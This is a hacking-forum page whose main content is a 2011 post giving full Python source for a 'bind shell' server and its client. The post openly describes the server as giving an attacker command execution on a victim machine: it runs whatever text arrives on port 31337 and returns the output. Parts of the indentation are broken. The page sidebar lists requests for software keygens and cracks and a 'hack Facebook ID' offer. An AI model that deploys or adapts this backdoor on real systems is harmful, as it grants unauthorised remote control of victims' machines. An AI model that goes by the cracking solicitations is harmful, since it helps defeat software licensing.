Hell of Hackerz
Welcome to HELL OF HACKERZ

Login or Register for connect with us

Because many features only for registered users.

Now enjoy without verification....

Thanks

________________________________________
HELL OF HACKERZ
Administrator
Ady Blaze
www.twitter.com/LukistUnlucky

Hell of Hackerz

Learn hacking & cracking
 
HomeHell Of HackerzFAQSearchMemberlistUsergroupsRegisterLog inDownload
ChatBox
Subscribe our youtube channel to be updated with latest technology and techniques. Subscribe button is given on the left and right side. Thank you
Latest topics
» Keygen, crack, serial
29/05/15, 10:14 pm by Karl Marx

» Hello everyone
19/04/15, 12:35 am by Hacker iam

» Keygen for Moneydance 2015
23/01/15, 10:02 pm by iota

» key gen request for Basic Inventory Control Desktop
19/01/15, 03:15 pm by dexterdidi

» Keygen request for paralog
30/11/14, 01:42 am by MarkV

» Microkinetics Turnmaster Pro 2014
07/10/14, 02:22 pm by Machine_Man

» Keygen for Forex Tester 2.9
03/10/14, 01:29 am by ocean7

» Make your Internet Download Manager for lifetime
24/08/14, 03:52 pm by Hacker iam

» Make your Internet Download Manager for lifetime
24/08/14, 03:50 pm by Hacker iam

» HACK FACEBOOK ID OFFER BY IMRAN
10/08/14, 03:11 pm by Hacker iam

» Ethical Hacking classes and many more courses
08/08/14, 06:43 pm by Hacker iam

» Ethical Hacking classes Gonna Start
08/08/14, 06:28 pm by Hacker iam

» Banned From Group On Facebook
19/07/14, 08:22 pm by Hacker iam

» Winpass 12 keygen needed
18/07/14, 01:34 am by lvilleda

» Simfatic Forms 4.0
11/06/14, 01:15 pm by kachi4gud

» SA Techietools
02/06/14, 10:34 pm by Hacker iam

» immo tool 3.2
16/05/14, 03:16 pm by adisby

» urgent help need. Pls create the keygen for DewanEja Pro 8
05/05/14, 03:34 am by hamizal

» Track my IMEI
27/04/14, 08:28 pm by rajesh

» Advanced WIFI hacker
20/03/14, 07:04 pm by wasam

» Enounce Myspeed windows Keygen Requires
16/03/14, 12:03 pm by devkaagra

» Can anyone provide keygen for below software ?
04/03/14, 12:04 pm by akmakm2005

» Flaming Cliffs 3 - Keygen request please
17/02/14, 02:58 pm by moejo

» CalMAN 5 Keygen
14/02/14, 12:22 pm by droid

» Clearscada license key request
10/02/14, 07:52 pm by mahpayma

» Huawei unlocker
04/01/14, 08:24 pm by dennis1990

» tack imei no. of mobile..
09/11/13, 08:09 pm by lawendy

» tack imei no. of mobile..
28/10/13, 04:47 pm by akki4all

» Alt-n Relayfax 7.0.6 keygen or activation patch
08/10/13, 03:43 am by fuggin

» SQL injection manually
04/10/13, 11:52 am by Ardilla

Learn hacking & cracking


Share | 
 

 Bind Shell and Client in Python

View previous topic View next topic Go down 
AuthorMessage
KinGimran

avatar

Posts : 54
Points : 125
Reputation : 0
Join date : 2011-04-08

PostSubject: Bind Shell and Client in Python   18/09/11, 04:23 pm

“Bind Shell” is often used to describe a piece of program or Shell Code
which bind's to a specific port on the machine and provides access to
other machines (i.e attacker) to connect and execute shell commands on
the victim machine.

In this article we'll be looking at a basic implementation of Bind Shell and Client coded in python.

The Code



The Code structure is distributed to a set of files , server.py and client.py .

Server

The server.py program simply listens on the specified port (default :
31337) , and Provides “Shell” access to the connected machines.

Code:
 #!/usr/bin/env python 
 # Server 
 
 import sys 
 import socket 
 import os 

 host = ''; 
 SIZE = 512; 

 try : 
    port = sys.argv[1]; 

 except : 
    port = 31337; 
 
 try : 
    sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM); 

 except socket.error , e : 

    print "Error in creating socket : ",e ; 
    sys.exit(1); 

 sockfd.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1); 

 try : 
    sockfd.bind((host,port)); 

 except socket.error , e :       
    print "Error in Binding : ",e;
    sys.exit(1); 
 
 print("\n\n======================================================");
 print("-------- Server Listening on Port %d --------------" % port); 
 print("======================================================\n\n");
 
 try : 
    while 1 : # listen for connections 
        sockfd.listen(1); 
            clientsock , clientaddr = sockfd.accept(); 
        print("\n\nGot Connection from " + str(clientaddr)); 
        while 1 : 
            try : 
                cmd = clientsock.recv(SIZE); 
            except : 
                break; 
            pipe = os.popen(cmd); 
            rawOutput = pipe.readlines(); 
 
            print(cmd); 
         
            if cmd == 'g2g': # close the connection and move on for others 
                print("\n-----------Connection Closed----------------"); 
                clientsock.shutdown(); 
                break; 
                        try : 
                output = ""; 
                # Parse the output from list to string 
                for data in rawOutput : 
                      output = output+data; 
                 
                clientsock.send("Command Output :- \n"+output+"\r\n"); 
             
            except socket.error , e : 
                 
                print("\n-----------Connection Closed--------"); 
                clientsock.close(); 
                break; 
  except  KeyboardInterrupt : 
 

    print("\n\n>>>> Server Terminated <<<<<\n"); 
    print("===========================================================");
    print("\tThanks for using Simple-CMD"); 
    print("\tEmail : lionaneesh@gmail.com"); 
    print("============================================================");

Client

The client.py program connects to the server and sends the commands to be executed.


Code:
Code:

    #!/usr/bin/env python 
 # Simple network client 

 import socket; 
 import sys; 
 
 port = 31337;    # The port to listen on is hardcoded , if you bare changing this change the same of the server 
 SIZE = 1000; 
 
 try : 
    host = sys.argv[1]; 
 except :    # Add localhost as the server if no host provided 
    host = "127.0.0.1"; 
 
 try : 
    sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM); 
 
 except socket.error , e : 
     
    print "Error while Creating socket : ",e ;     
    sys.exit(1); 
 
 try : 
    sockfd.connect((host,port)); 
 
 except socket.gaierror , e : 

    print "Error (Address-Related) while Connecting to server : ",e ; 
 
 except socket.error , e :     

    print "Error while Connecting to Server : ",e; 
    sys.exit(1); 
 
 # We are connected now , Start the real shit! 
 
 print("=============================================================");
 print("\tSimple-CMD\tC0d3d by : 1i0n4n33sh"); 
 print("=============================================================");
 print("\t\tEmail : lionaneesh@gmail.com"); 
 print("=============================================================");
 print("\tC0d3 f0r InDi4 , H4(k F0r 1nDi4 , Liv3 f0r 1nDi4"); 
 print("=============================================================");
 try : 
    while 1: 
        cmd = raw_input("\n\n(simple-cmd) $ "); 
        sockfd.send(cmd); 
        result = sockfd.recv(SIZE).strip(); 
        if not len(result) : 
            fd.close(); 
            sockfd.close(); 
            break; 
        print(result); 
 except KeyboardInterrupt : #clean up code 
    sockfd.shutdown(0); 
    print("\n\n-------- Client Terminated ----------\n"); 
    print("\n==================================================");
    print("\tThanks for using Simple-CMD"); 
    print("\tEmail : lionaneesh@gmail.com"); 
    print("====================================================\n\n");


That's it for this article stay tuned for more.
Back to top Go down
View user profile
 

Bind Shell and Client in Python

View previous topic View next topic Back to top 

 Similar topics

-
» Problem with brackets[?] in css selector in Selenium-python
» VoIP SIP client for Blackberry, works over WIFI and 3G- $350
» Monster Python: 17ft Snake Caught In Florida
» Chrome driver's ChromeOptions persisting across calls - Python selenium bindings
» Can i automate silverlight web application using selenium driver for python.
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Hell of Hackerz :: Tip and Tricks :: Web Server and Database Attacks-

Similar topics

+
ChatBox
Free forum | © phpBB | Free forum support | Contact | Report an abuse | Free forum